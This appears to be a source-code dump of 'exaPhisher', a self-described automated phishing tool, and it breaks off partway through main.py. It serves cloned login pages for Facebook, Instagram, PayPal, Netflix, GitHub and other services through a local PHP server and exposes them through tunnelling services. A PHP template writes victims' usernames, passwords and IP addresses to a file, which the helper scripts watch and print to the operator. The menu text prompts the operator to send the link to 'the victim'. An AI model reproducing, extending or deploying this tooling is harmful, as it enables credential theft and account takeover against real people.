├── src
├── lt.txt
├── template
│ ├── github
│ │ ├── info.txt
│ │ ├── file1.py
│ │ ├── github.py
│ │ ├── file2.py
│ │ └── template.php
│ ├── paypal
│ │ ├── info.txt
│ │ ├── file1.py
│ │ ├── paypal.py
│ │ ├── file2.py
│ │ └── template.php
│ ├── twitch
│ │ ├── info.txt
│ │ ├── file1.py
│ │ ├── twitch.py
│ │ ├── file2.py
│ │ └── template.php
│ ├── facebook
│ │ ├── info.txt
│ │ ├── file1.py
│ │ ├── facebook.py
│ │ ├── file2.py
│ │ └── template.php
│ ├── instagram
│ │ ├── info.txt
│ │ ├── file1.py
│ │ ├── instagram.py
│ │ ├── file2.py
│ │ └── template.php
│ ├── linkedin
│ │ ├── info.txt
│ │ ├── file1.py
│ │ ├── linkedin.py
│ │ ├── file2.py
│ │ └── template.php
│ ├── netflix
│ │ ├── info.txt
│ │ ├── file1.py
│ │ ├── netflix.py
│ │ ├── file2.py
│ │ └── template.php
│ ├── pinterest
│ │ ├── info.txt
│ │ ├── file1.py
│ │ ├── pinterest.py
│ │ ├── file2.py
│ │ └── template.php
│ ├── spotify
│ │ ├── info.txt
│ │ ├── file1.py
│ │ ├── spotify.py
│ │ ├── file2.py
│ │ └── template.php
│ └── twitter
│ │ ├── info.txt
│ │ ├── file1.py
│ │ ├── twitter.py
│ │ ├── file2.py
│ │ └── template.php
├── finish.py
├── __pycache__
│ └── some_func.cpython-312.pyc
├── some_func.py
└── setup.py
├── lt.py
├── url.txt
├── lh.py
├── README.md
├── main.py
└── setup.sh
/src/lt.txt:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/src/template/github/info.txt:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/src/template/paypal/info.txt:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/src/template/twitch/info.txt:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/src/template/facebook/info.txt:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/src/template/instagram/info.txt:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/src/template/linkedin/info.txt:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/src/template/netflix/info.txt:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/src/template/pinterest/info.txt:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/src/template/spotify/info.txt:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/src/template/twitter/info.txt:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/lt.py:
--------------------------------------------------------------------------------
1 | import os
2 | os.system("lt --port 8080 > url.txt")
3 |
--------------------------------------------------------------------------------
/url.txt:
--------------------------------------------------------------------------------
1 | your url is: https://shiny-beds-prove-151-77-197-66.loca.lt
2 |
--------------------------------------------------------------------------------
/lh.py:
--------------------------------------------------------------------------------
1 | import os
2 | os.system("ssh -R 80:localhost:8080 nokey@localhost.run | grep .lhr.life")
3 |
--------------------------------------------------------------------------------
/src/finish.py:
--------------------------------------------------------------------------------
1 | import time
2 | time.sleep(5)
3 | print("After type yes , Press Ctrl + C to end the setup!")
--------------------------------------------------------------------------------
/src/template/facebook/file1.py:
--------------------------------------------------------------------------------
1 | import os
2 | os.system("php -S localhost:8080 template.php > /dev/null 2>&1")
3 |
--------------------------------------------------------------------------------
/src/template/github/file1.py:
--------------------------------------------------------------------------------
1 | import os
2 | os.system("php -S localhost:8080 template.php > /dev/null 2>&1")
3 |
--------------------------------------------------------------------------------
/src/template/linkedin/file1.py:
--------------------------------------------------------------------------------
1 | import os
2 | os.system("php -S localhost:8080 template.php > /dev/null 2>&1")
3 |
--------------------------------------------------------------------------------
/src/template/netflix/file1.py:
--------------------------------------------------------------------------------
1 | import os
2 | os.system("php -S localhost:8080 template.php > /dev/null 2>&1")
3 |
--------------------------------------------------------------------------------
/src/template/paypal/file1.py:
--------------------------------------------------------------------------------
1 | import os
2 | os.system("php -S localhost:8080 template.php > /dev/null 2>&1")
3 |
--------------------------------------------------------------------------------
/src/template/spotify/file1.py:
--------------------------------------------------------------------------------
1 | import os
2 | os.system("php -S localhost:8080 template.php > /dev/null 2>&1")
3 |
--------------------------------------------------------------------------------
/src/template/twitch/file1.py:
--------------------------------------------------------------------------------
1 | import os
2 | os.system("php -S localhost:8080 template.php > /dev/null 2>&1")
3 |
--------------------------------------------------------------------------------
/src/template/twitter/file1.py:
--------------------------------------------------------------------------------
1 | import os
2 | os.system("php -S localhost:8080 template.php > /dev/null 2>&1")
3 |
--------------------------------------------------------------------------------
/src/template/instagram/file1.py:
--------------------------------------------------------------------------------
1 | import os
2 | os.system("php -S localhost:8080 template.php > /dev/null 2>&1")
3 |
--------------------------------------------------------------------------------
/src/template/pinterest/file1.py:
--------------------------------------------------------------------------------
1 | import os
2 | os.system("php -S localhost:8080 template.php > /dev/null 2>&1")
3 |
--------------------------------------------------------------------------------
/src/__pycache__/some_func.cpython-312.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/SamueleAmato/exaPhisher/HEAD/src/__pycache__/some_func.cpython-312.pyc
--------------------------------------------------------------------------------
/src/template/twitch/twitch.py:
--------------------------------------------------------------------------------
1 | import os
2 | from multiprocessing import Process
3 |
4 | def script1():
5 | os.system("python3 file1.py")
6 | def script2():
7 | os.system("python3 file2.py")
8 |
9 | if __name__ == '__main__':
10 | p = Process(target=script1)
11 | q = Process(target=script2)
12 | p.start()
13 | q.start()
14 | p.join()
15 | q.join()
16 |
--------------------------------------------------------------------------------
/src/template/github/github.py:
--------------------------------------------------------------------------------
1 | import os
2 | from multiprocessing import Process
3 |
4 | def script1():
5 | os.system("python3 file1.py")
6 | def script2():
7 | os.system("python3 file2.py")
8 |
9 | if __name__ == '__main__':
10 | p = Process(target=script1)
11 | q = Process(target=script2)
12 | p.start()
13 | q.start()
14 | p.join()
15 | q.join()
16 |
--------------------------------------------------------------------------------
/src/template/netflix/netflix.py:
--------------------------------------------------------------------------------
1 | import os
2 | from multiprocessing import Process
3 |
4 | def script1():
5 | os.system("python3 file1.py")
6 | def script2():
7 | os.system("python3 file2.py")
8 |
9 | if __name__ == '__main__':
10 | p = Process(target=script1)
11 | q = Process(target=script2)
12 | p.start()
13 | q.start()
14 | p.join()
15 | q.join()
16 |
--------------------------------------------------------------------------------
/src/template/paypal/paypal.py:
--------------------------------------------------------------------------------
1 | import os
2 | from multiprocessing import Process
3 |
4 | def script1():
5 | os.system("python3 file1.py")
6 | def script2():
7 | os.system("python3 file2.py")
8 |
9 | if __name__ == '__main__':
10 | p = Process(target=script1)
11 | q = Process(target=script2)
12 | p.start()
13 | q.start()
14 | p.join()
15 | q.join()
16 |
--------------------------------------------------------------------------------
/src/template/spotify/spotify.py:
--------------------------------------------------------------------------------
1 | import os
2 | from multiprocessing import Process
3 |
4 | def script1():
5 | os.system("python3 file1.py")
6 | def script2():
7 | os.system("python3 file2.py")
8 |
9 | if __name__ == '__main__':
10 | p = Process(target=script1)
11 | q = Process(target=script2)
12 | p.start()
13 | q.start()
14 | p.join()
15 | q.join()
16 |
--------------------------------------------------------------------------------
/src/template/twitter/twitter.py:
--------------------------------------------------------------------------------
1 | import os
2 | from multiprocessing import Process
3 |
4 | def script1():
5 | os.system("python3 file1.py")
6 | def script2():
7 | os.system("python3 file2.py")
8 |
9 | if __name__ == '__main__':
10 | p = Process(target=script1)
11 | q = Process(target=script2)
12 | p.start()
13 | q.start()
14 | p.join()
15 | q.join()
16 |
--------------------------------------------------------------------------------
/src/template/facebook/facebook.py:
--------------------------------------------------------------------------------
1 | import os
2 | from multiprocessing import Process
3 |
4 | def script1():
5 | os.system("python3 file1.py")
6 | def script2():
7 | os.system("python3 file2.py")
8 |
9 | if __name__ == '__main__':
10 | p = Process(target=script1)
11 | q = Process(target=script2)
12 | p.start()
13 | q.start()
14 | p.join()
15 | q.join()
16 |
--------------------------------------------------------------------------------
/src/template/instagram/instagram.py:
--------------------------------------------------------------------------------
1 | import os
2 | from multiprocessing import Process
3 |
4 | def script1():
5 | os.system("python3 file1.py")
6 | def script2():
7 | os.system("python3 file2.py")
8 |
9 | if __name__ == '__main__':
10 | p = Process(target=script1)
11 | q = Process(target=script2)
12 | p.start()
13 | q.start()
14 | p.join()
15 | q.join()
16 |
--------------------------------------------------------------------------------
/src/template/linkedin/linkedin.py:
--------------------------------------------------------------------------------
1 | import os
2 | from multiprocessing import Process
3 |
4 | def script1():
5 | os.system("python3 file1.py")
6 | def script2():
7 | os.system("python3 file2.py")
8 |
9 | if __name__ == '__main__':
10 | p = Process(target=script1)
11 | q = Process(target=script2)
12 | p.start()
13 | q.start()
14 | p.join()
15 | q.join()
16 |
--------------------------------------------------------------------------------
/src/template/pinterest/pinterest.py:
--------------------------------------------------------------------------------
1 | import os
2 | from multiprocessing import Process
3 |
4 | def script1():
5 | os.system("python3 file1.py")
6 | def script2():
7 | os.system("python3 file2.py")
8 |
9 | if __name__ == '__main__':
10 | p = Process(target=script1)
11 | q = Process(target=script2)
12 | p.start()
13 | q.start()
14 | p.join()
15 | q.join()
16 |
--------------------------------------------------------------------------------
/src/template/twitch/file2.py:
--------------------------------------------------------------------------------
1 | import time
2 | while True:
3 | #open file in read mode
4 | file = open("info.txt", "r")
5 |
6 | #read the content of file
7 | data = file.read()
8 |
9 | #get the length of the data
10 | if len(data) > 0:
11 | time.sleep(1)
12 | break
13 | class bcolors:
14 | HEADER = '\033[95m'
15 | OKBLUE = '\033[34m'
16 | OKGREEN = '\033[92m'
17 | WARNING = '\033[93m'
18 | FAIL = '\033[91m'
19 | BOLD = '\033[1m'
20 | UNDERLINE = '\033[4m'
21 | ENDC = '\033[0m'
22 | GREY = '\033[90m'
23 | BG_RED = '\033[41m'
24 | square_tild = (bcolors.FAIL+"["+bcolors.ENDC+"∼"+bcolors.FAIL+"]"+bcolors.ENDC)
25 |
26 | print(square_tild+bcolors.OKBLUE+bcolors.BOLD+''' Login Info Found !'''+bcolors.OKGREEN+'''
27 | ''')
28 | print(data)
29 | print(bcolors.ENDC)
30 | time.sleep(3)
31 | f = open("info.txt", "w")
32 | f.write("")
33 | f.close()
--------------------------------------------------------------------------------
/src/template/github/file2.py:
--------------------------------------------------------------------------------
1 | import time
2 | class bcolors:
3 | HEADER = '\033[95m'
4 | OKBLUE = '\033[34m'
5 | OKGREEN = '\033[92m'
6 | WARNING = '\033[93m'
7 | FAIL = '\033[91m'
8 | BOLD = '\033[1m'
9 | UNDERLINE = '\033[4m'
10 | ENDC = '\033[0m'
11 | GREY = '\033[90m'
12 | BG_RED = '\033[41m'
13 | square_tild = (bcolors.FAIL+"["+bcolors.ENDC+"∼"+bcolors.FAIL+"]"+bcolors.ENDC)
14 |
15 | while True:
16 | #open file in read mode
17 | file = open("info.txt", "r")
18 |
19 | #read the content of file
20 | data = file.read()
21 |
22 | #get the length of the data
23 | if len(data) > 0:
24 | time.sleep(1)
25 | break
26 |
27 |
28 | print(square_tild+bcolors.OKBLUE+bcolors.BOLD+''' Login Info Found !'''+bcolors.OKGREEN+'''
29 | ''')
30 | print(data)
31 | print(bcolors.ENDC)
32 | time.sleep(3)
33 | f = open("info.txt", "w")
34 | f.write("")
35 | f.close()
--------------------------------------------------------------------------------
/src/template/netflix/file2.py:
--------------------------------------------------------------------------------
1 | import time
2 | class bcolors:
3 | HEADER = '\033[95m'
4 | OKBLUE = '\033[34m'
5 | OKGREEN = '\033[92m'
6 | WARNING = '\033[93m'
7 | FAIL = '\033[91m'
8 | BOLD = '\033[1m'
9 | UNDERLINE = '\033[4m'
10 | ENDC = '\033[0m'
11 | GREY = '\033[90m'
12 | BG_RED = '\033[41m'
13 | square_tild = (bcolors.FAIL+"["+bcolors.ENDC+"∼"+bcolors.FAIL+"]"+bcolors.ENDC)
14 |
15 | while True:
16 | #open file in read mode
17 | file = open("info.txt", "r")
18 |
19 | #read the content of file
20 | data = file.read()
21 |
22 | #get the length of the data
23 | if len(data) > 0:
24 | time.sleep(1)
25 | break
26 |
27 |
28 | print(square_tild+bcolors.OKBLUE+bcolors.BOLD+''' Login Info Found !'''+bcolors.OKGREEN+'''
29 | ''')
30 | print(data)
31 | print(bcolors.ENDC)
32 | time.sleep(3)
33 | f = open("info.txt", "w")
34 | f.write("")
35 | f.close()
--------------------------------------------------------------------------------
/src/template/paypal/file2.py:
--------------------------------------------------------------------------------
1 | import time
2 | class bcolors:
3 | HEADER = '\033[95m'
4 | OKBLUE = '\033[34m'
5 | OKGREEN = '\033[92m'
6 | WARNING = '\033[93m'
7 | FAIL = '\033[91m'
8 | BOLD = '\033[1m'
9 | UNDERLINE = '\033[4m'
10 | ENDC = '\033[0m'
11 | GREY = '\033[90m'
12 | BG_RED = '\033[41m'
13 | square_tild = (bcolors.FAIL+"["+bcolors.ENDC+"∼"+bcolors.FAIL+"]"+bcolors.ENDC)
14 |
15 | while True:
16 | #open file in read mode
17 | file = open("info.txt", "r")
18 |
19 | #read the content of file
20 | data = file.read()
21 |
22 | #get the length of the data
23 | if len(data) > 0:
24 | time.sleep(1)
25 | break
26 |
27 |
28 | print(square_tild+bcolors.OKBLUE+bcolors.BOLD+''' Login Info Found !'''+bcolors.OKGREEN+'''
29 | ''')
30 | print(data)
31 | print(bcolors.ENDC)
32 | time.sleep(3)
33 | f = open("info.txt", "w")
34 | f.write("")
35 | f.close()
--------------------------------------------------------------------------------
/src/template/spotify/file2.py:
--------------------------------------------------------------------------------
1 | import time
2 | class bcolors:
3 | HEADER = '\033[95m'
4 | OKBLUE = '\033[34m'
5 | OKGREEN = '\033[92m'
6 | WARNING = '\033[93m'
7 | FAIL = '\033[91m'
8 | BOLD = '\033[1m'
9 | UNDERLINE = '\033[4m'
10 | ENDC = '\033[0m'
11 | GREY = '\033[90m'
12 | BG_RED = '\033[41m'
13 | square_tild = (bcolors.FAIL+"["+bcolors.ENDC+"∼"+bcolors.FAIL+"]"+bcolors.ENDC)
14 |
15 | while True:
16 | #open file in read mode
17 | file = open("info.txt", "r")
18 |
19 | #read the content of file
20 | data = file.read()
21 |
22 | #get the length of the data
23 | if len(data) > 0:
24 | time.sleep(1)
25 | break
26 |
27 |
28 | print(square_tild+bcolors.OKBLUE+bcolors.BOLD+''' Login Info Found !'''+bcolors.OKGREEN+'''
29 | ''')
30 | print(data)
31 | print(bcolors.ENDC)
32 | time.sleep(3)
33 | f = open("info.txt", "w")
34 | f.write("")
35 | f.close()
--------------------------------------------------------------------------------
/src/template/twitter/file2.py:
--------------------------------------------------------------------------------
1 | import time
2 | while True:
3 | #open file in read mode
4 | file = open("info.txt", "r")
5 |
6 | #read the content of file
7 | data = file.read()
8 |
9 | #get the length of the data
10 | if len(data) > 0:
11 | time.sleep(1)
12 | break
13 | class bcolors:
14 | HEADER = '\033[95m'
15 | OKBLUE = '\033[34m'
16 | OKGREEN = '\033[92m'
17 | WARNING = '\033[93m'
18 | FAIL = '\033[91m'
19 | BOLD = '\033[1m'
20 | UNDERLINE = '\033[4m'
21 | ENDC = '\033[0m'
22 | GREY = '\033[90m'
23 | BG_RED = '\033[41m'
24 | square_tild = (bcolors.FAIL+"["+bcolors.ENDC+"∼"+bcolors.FAIL+"]"+bcolors.ENDC)
25 |
26 | print(square_tild+bcolors.OKBLUE+bcolors.BOLD+''' Login Info Found !'''+bcolors.OKGREEN+'''
27 | ''')
28 | print(data)
29 | print(bcolors.ENDC)
30 | time.sleep(3)
31 | f = open("info.txt", "w")
32 | f.write("")
33 | f.close()
--------------------------------------------------------------------------------
/src/template/facebook/file2.py:
--------------------------------------------------------------------------------
1 | import time
2 | class bcolors:
3 | HEADER = '\033[95m'
4 | OKBLUE = '\033[34m'
5 | OKGREEN = '\033[92m'
6 | WARNING = '\033[93m'
7 | FAIL = '\033[91m'
8 | BOLD = '\033[1m'
9 | UNDERLINE = '\033[4m'
10 | ENDC = '\033[0m'
11 | GREY = '\033[90m'
12 | BG_RED = '\033[41m'
13 | square_tild = (bcolors.FAIL+"["+bcolors.ENDC+"∼"+bcolors.FAIL+"]"+bcolors.ENDC)
14 |
15 | while True:
16 | #open file in read mode
17 | file = open("info.txt", "r")
18 |
19 | #read the content of file
20 | data = file.read()
21 |
22 | #get the length of the data
23 | if len(data) > 0:
24 | time.sleep(1)
25 | break
26 |
27 |
28 | print(square_tild+bcolors.OKBLUE+bcolors.BOLD+''' Login Info Found !'''+bcolors.OKGREEN+'''
29 | ''')
30 | print(data)
31 | print(bcolors.ENDC)
32 | time.sleep(3)
33 | f = open("info.txt", "w")
34 | f.write("")
35 | f.close()
--------------------------------------------------------------------------------
/src/template/instagram/file2.py:
--------------------------------------------------------------------------------
1 | import time
2 | class bcolors:
3 | HEADER = '\033[95m'
4 | OKBLUE = '\033[34m'
5 | OKGREEN = '\033[92m'
6 | WARNING = '\033[93m'
7 | FAIL = '\033[91m'
8 | BOLD = '\033[1m'
9 | UNDERLINE = '\033[4m'
10 | ENDC = '\033[0m'
11 | GREY = '\033[90m'
12 | BG_RED = '\033[41m'
13 | square_tild = (bcolors.FAIL+"["+bcolors.ENDC+"∼"+bcolors.FAIL+"]"+bcolors.ENDC)
14 |
15 | while True:
16 | #open file in read mode
17 | file = open("info.txt", "r")
18 |
19 | #read the content of file
20 | data = file.read()
21 |
22 | #get the length of the data
23 | if len(data) > 0:
24 | time.sleep(1)
25 | break
26 |
27 |
28 | print(square_tild+bcolors.OKBLUE+bcolors.BOLD+''' Login Info Found !'''+bcolors.OKGREEN+'''
29 | ''')
30 | print(data)
31 | print(bcolors.ENDC)
32 | time.sleep(4)
33 | f = open("info.txt", "w")
34 | f.write("")
35 | f.close()
--------------------------------------------------------------------------------
/src/template/linkedin/file2.py:
--------------------------------------------------------------------------------
1 | import time
2 | class bcolors:
3 | HEADER = '\033[95m'
4 | OKBLUE = '\033[34m'
5 | OKGREEN = '\033[92m'
6 | WARNING = '\033[93m'
7 | FAIL = '\033[91m'
8 | BOLD = '\033[1m'
9 | UNDERLINE = '\033[4m'
10 | ENDC = '\033[0m'
11 | GREY = '\033[90m'
12 | BG_RED = '\033[41m'
13 | square_tild = (bcolors.FAIL+"["+bcolors.ENDC+"∼"+bcolors.FAIL+"]"+bcolors.ENDC)
14 |
15 | while True:
16 | #open file in read mode
17 | file = open("info.txt", "r")
18 |
19 | #read the content of file
20 | data = file.read()
21 |
22 | #get the length of the data
23 | if len(data) > 0:
24 | time.sleep(1)
25 | break
26 |
27 |
28 | print(square_tild+bcolors.OKBLUE+bcolors.BOLD+''' Login Info Found !'''+bcolors.OKGREEN+'''
29 | ''')
30 | print(data)
31 | print(bcolors.ENDC)
32 | time.sleep(3)
33 | f = open("info.txt", "w")
34 | f.write("")
35 | f.close()
--------------------------------------------------------------------------------
/src/template/pinterest/file2.py:
--------------------------------------------------------------------------------
1 | import time
2 | class bcolors:
3 | HEADER = '\033[95m'
4 | OKBLUE = '\033[34m'
5 | OKGREEN = '\033[92m'
6 | WARNING = '\033[93m'
7 | FAIL = '\033[91m'
8 | BOLD = '\033[1m'
9 | UNDERLINE = '\033[4m'
10 | ENDC = '\033[0m'
11 | GREY = '\033[90m'
12 | BG_RED = '\033[41m'
13 | square_tild = (bcolors.FAIL+"["+bcolors.ENDC+"∼"+bcolors.FAIL+"]"+bcolors.ENDC)
14 |
15 | while True:
16 | #open file in read mode
17 | file = open("info.txt", "r")
18 |
19 | #read the content of file
20 | data = file.read()
21 |
22 | #get the length of the data
23 | if len(data) > 0:
24 | time.sleep(1)
25 | break
26 |
27 |
28 | print(square_tild+bcolors.OKBLUE+bcolors.BOLD+''' Login Info Found !'''+bcolors.OKGREEN+'''
29 | ''')
30 | print(data)
31 | print(bcolors.ENDC)
32 | time.sleep(3)
33 | f = open("info.txt", "w")
34 | f.write("")
35 | f.close()
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | A easy to use, Automated phishing tool.
7 |
8 |
9 |
10 |
11 |
12 | ##
13 |
14 | Disclaimer
15 |
16 |
17 |
18 |
19 |
20 |
21 | Any actions and or activities related to exaPhisher is solely your responsibility. The misuse of this tool can result in criminal charges brought against the persons in question. The contributors will not be held responsible in the event any criminal charges be brought against any individuals misusing this tool to break the law.
22 |
23 | This tool contains materials that can be potentially damaging or dangerous for social media. Refer to the laws in your province/country before accessing, using,or in any other way utilizing this in a wrong way.
24 |
25 | This Tool is made for educational purposes only.
26 |
27 | ##
28 |
29 | One command installation:
30 |
31 | ```
32 | wget https://raw.githubusercontent.com/SamueleAmato/exaPhisher/main/setup.sh && chmod +x setup.sh && ./setup.sh
33 | ```
34 |
35 | ### Info
36 | ##### Supported website:
37 | - **Instagram**
38 | - **Facebook**
39 | - **PayPal**
40 | - **Twitter**
41 | - **Netflix**
42 | - **Twitch**
43 | - **Github**
44 | - **Spotify**
45 | - **Pinterest**
46 | - **Linkedin**
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 | ##### Tested on:
57 | - **Ubuntu**
58 | - **Debian**
59 | - **Arch**
60 | - **Clear linux**
61 | - **Termux**
62 | ##### Dependencies:
63 |
64 | exaPhisher 2022 requires following programs to run properly
65 | - `npm`
66 | - `ngrok`
67 | - `localtunnel`
68 | - `ssh`
69 |
70 |
71 | ##
72 |
73 | ### Installation
74 |
75 | - Linux & Termux
76 | ```
77 | git clone https://github.com/SamueleAmato/exaPhisher/
78 | cd exaPhisher
79 | cd src && python3 setup.py
80 | cd ..
81 | python3 main.py
82 | ```
83 |
84 | - Manual installation
85 | ```
86 | (if you encounter errors with the automatic installation you can manually install the individual dependencies listed below)
87 |
88 | #npm
89 | #local tunnel from npm (npm instal -g localtunnel)
90 | #php
91 | #ngrok
92 | #openssh
93 |
94 | after installing the packages run "cd src && touch setup_ver.py" on exaPhisher folder.
95 |
96 | ```
97 |
98 | ##
99 |
100 | :: Tool ::
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 |
--------------------------------------------------------------------------------
/src/template/twitter/template.php:
--------------------------------------------------------------------------------
1 |
18 |
19 |
20 |
92 |
93 |
94 |
95 | 0) {
99 | $addr = explode(",",$_SERVER['HTTP_X_FORWARDED_FOR']);
100 | return trim($addr[0]);
101 | } else {
102 | return $_SERVER['HTTP_X_FORWARDED_FOR'];
103 | }
104 | }
105 | else {
106 | return $_SERVER['REMOTE_ADDR'];
107 | }
108 | }
109 |
110 |
111 | $user_ip = getUserIP();
112 |
113 |
114 | if (isset($_POST['name'])){
115 | $ip = $user_ip;
116 | $userinput = $_POST['name'];
117 | $userinputt = $_POST['name2'];
118 | $acapo = "\r\n";
119 | $perip = ("Ip: $ip");
120 | $perpassword = ("Password: $userinputt");
121 | $perusername = ("Username: $userinput");
122 | $myfile = fopen("info.txt", "w") or die("Unable to open file!");
123 | fwrite($myfile, $perusername);
124 | fwrite($myfile, $acapo);
125 | fwrite($myfile, $perpassword);
126 | fclose($myfile);}
127 | ?>
128 |
129 |
--------------------------------------------------------------------------------
/src/some_func.py:
--------------------------------------------------------------------------------
1 | import os
2 | termuxx = "false"
3 | try:
4 | from src.termux_ver import *
5 | except Exception:
6 | termuxx = "real"
7 | pass
8 | class bcolors:
9 | HEADER = '\033[95m'
10 | OKBLUE = '\033[34m'
11 | OKGREEN = '\033[92m'
12 | WARNING = '\033[93m'
13 | FAIL = '\033[91m'
14 | BOLD = '\033[1m'
15 | UNDERLINE = '\033[4m'
16 | ENDC = '\033[0m'
17 | GREY = '\033[90m'
18 | BG_RED = '\033[41m'
19 |
20 | def clear():
21 | os.system("clear")
22 | square_version = (bcolors.FAIL+"["+bcolors.ENDC+"v0.1.0"+bcolors.FAIL+"]"+bcolors.ENDC)
23 | square_tild = (bcolors.FAIL+"["+bcolors.ENDC+"∼"+bcolors.FAIL+"]"+bcolors.ENDC)
24 | square_1 = (bcolors.FAIL+"["+bcolors.ENDC+"1"+bcolors.FAIL+"]"+bcolors.WARNING+" Facebook"+bcolors.ENDC)
25 | square_2 = (bcolors.FAIL+"["+bcolors.ENDC+"2"+bcolors.FAIL+"]"+bcolors.WARNING+" Instagram"+bcolors.ENDC)
26 | square_3 = (bcolors.FAIL+"["+bcolors.ENDC+"3"+bcolors.FAIL+"]"+bcolors.WARNING+" Paypal"+bcolors.ENDC)
27 | square_4 = (bcolors.FAIL+"["+bcolors.ENDC+"4"+bcolors.FAIL+"]"+bcolors.WARNING+" Twitter"+bcolors.ENDC)
28 | square_5 = (bcolors.FAIL+"["+bcolors.ENDC+"5"+bcolors.FAIL+"]"+bcolors.WARNING+" Netflix"+bcolors.ENDC)
29 | square_6 = (bcolors.FAIL+"["+bcolors.ENDC+"6"+bcolors.FAIL+"]"+bcolors.WARNING+" Twitch"+bcolors.ENDC)
30 | square_7 = (bcolors.FAIL+"["+bcolors.ENDC+"7"+bcolors.FAIL+"]"+bcolors.WARNING+" Github"+bcolors.ENDC)
31 | square_8 = (bcolors.FAIL+"["+bcolors.ENDC+"8"+bcolors.FAIL+"]"+bcolors.WARNING+" Spotify"+bcolors.ENDC)
32 | square_9 = (bcolors.FAIL+"["+bcolors.ENDC+"9"+bcolors.FAIL+"]"+bcolors.WARNING+" Pinterest"+bcolors.ENDC)
33 | square_10 = (bcolors.FAIL+"["+bcolors.ENDC+"10"+bcolors.FAIL+"]"+bcolors.WARNING+" Linkedin"+bcolors.ENDC)
34 |
35 | choice = '''
36 | '''+bcolors.OKGREEN+'''〈'''+bcolors.OKBLUE+'''Select Any website for your victim '''+bcolors.OKGREEN+'''〉
37 |
38 | '''+square_1+'''
39 | '''+square_2+'''
40 | '''+square_3+'''
41 | '''+square_4+'''
42 | '''+square_5+'''
43 | '''+square_6+'''
44 | '''+square_7+'''
45 | '''+square_8+'''
46 | '''+square_9+'''
47 | '''+square_10+'''
48 |
49 | '''
50 |
51 | square_1_host = (bcolors.FAIL+"["+bcolors.ENDC+"1"+bcolors.FAIL+"]"+bcolors.WARNING+" Ngrok"+bcolors.ENDC)
52 | square_2_host = (bcolors.FAIL+"["+bcolors.ENDC+"2"+bcolors.FAIL+"]"+bcolors.WARNING+" Localtunnel"+bcolors.ENDC)
53 | square_3_host = (bcolors.FAIL+"["+bcolors.ENDC+"3"+bcolors.FAIL+"]"+bcolors.WARNING+" LocalHost.run"+bcolors.ENDC)
54 | if termuxx != "real":
55 | square_3_host = (bcolors.FAIL+"["+bcolors.ENDC+"3"+bcolors.FAIL+"]"+bcolors.WARNING+" LocalHost.run"+bcolors.ENDC)
56 |
57 | choice2 = '''
58 | '''+bcolors.OKGREEN+'''〈'''+bcolors.OKBLUE+'''choose host service '''+bcolors.OKGREEN+'''〉
59 |
60 | '''+square_3_host+bcolors.WARNING+''' only one compatible with termux'''+bcolors.ENDC+'''
61 | '''
62 | else:
63 | choice2 = '''
64 | '''+bcolors.OKGREEN+'''〈'''+bcolors.OKBLUE+'''choose host service '''+bcolors.OKGREEN+'''〉
65 |
66 | '''+square_1_host+bcolors.WARNING+''' not working'''+bcolors.ENDC+'''
67 | '''+square_2_host+bcolors.WARNING+''' not working
68 | '''+square_3_host+bcolors.WARNING+''' '''+bcolors.ENDC+'''
69 | '''
70 | def banner():
71 | print(bcolors.WARNING+'''┏┓┏┓┏┳┓┳┳┏┓
72 | ┗┓┣ ┃ ┃┃┃┃
73 | ┗┛┗┛ ┻ ┗┛┣┛
74 |
75 | '''+square_version+bcolors.OKGREEN+''' ╍'''+bcolors.OKBLUE+''' Phishing tool by github.com/SamueleAmato '''+bcolors.OKGREEN+'''╍
76 |
77 | '''+bcolors.ENDC+bcolors.BG_RED+''':: Developers assumes no liability and are not ::'''+bcolors.ENDC+'''
78 | ''')
79 |
--------------------------------------------------------------------------------
/main.py:
--------------------------------------------------------------------------------
1 | import os
2 | from multiprocessing import Process
3 | from src.some_func import *
4 | import time
5 | try:
6 | from src.setup_ver import *
7 | except Exception:
8 | print("no dipendencies found, go on https://github.com/RedKatz/exaphisher and copy-paste in termianl setup command for your system")
9 |
10 |
11 |
12 | class bcolors:
13 | HEADER = '\033[95m'
14 | OKBLUE = '\033[34m'
15 | OKGREEN = '\033[92m'
16 | WARNING = '\033[93m'
17 | FAIL = '\033[91m'
18 | BOLD = '\033[1m'
19 | UNDERLINE = '\033[4m'
20 | ENDC = '\033[0m'
21 | GREY = '\033[90m'
22 | BG_RED = '\033[41m'
23 |
24 |
25 |
26 |
27 | clear()
28 | banner()
29 | print(choice)
30 | scelta = input(square_tild+bcolors.OKGREEN+" Select an option: "+bcolors.ENDC)
31 |
32 | clear()
33 | banner()
34 | print(choice2)
35 | scelta2 = input(square_tild+bcolors.OKGREEN+" Select an option: "+bcolors.ENDC)
36 |
37 | clear()
38 | banner()
39 | if scelta2 == "1":
40 | print("\n"+square_tild+bcolors.OKBLUE+''' Local url :'''+bcolors.WARNING+''' http://localhost:8080'''+bcolors.ENDC)
41 | print("\n"+square_tild+bcolors.OKBLUE+" Send link to the victim: "+bcolors.ENDC+"run "+bcolors.UNDERLINE+bcolors.WARNING+"ngrok http localhost:8080"+bcolors.ENDC+" on new terminal"+bcolors.ENDC)
42 | print(bcolors.OKBLUE+'''
43 | '''+square_tild+bcolors.WARNING+''' Waiting for Login info, '''+bcolors.OKBLUE+"Ctrl + C to exit."+bcolors.ENDC+'''
44 |
45 | ''')
46 | elif scelta2 == "2":
47 | def script1():
48 | os.system("python3 lt.py")
49 |
50 | if __name__ == '__main__':
51 | p = Process(target=script1)
52 | p.start()
53 | time.sleep(1.5)
54 | file = open("url.txt", "r")
55 | time.sleep(1.5)
56 | #read the content of file
57 | url = file.read()
58 | print(bcolors.OKBLUE+'''
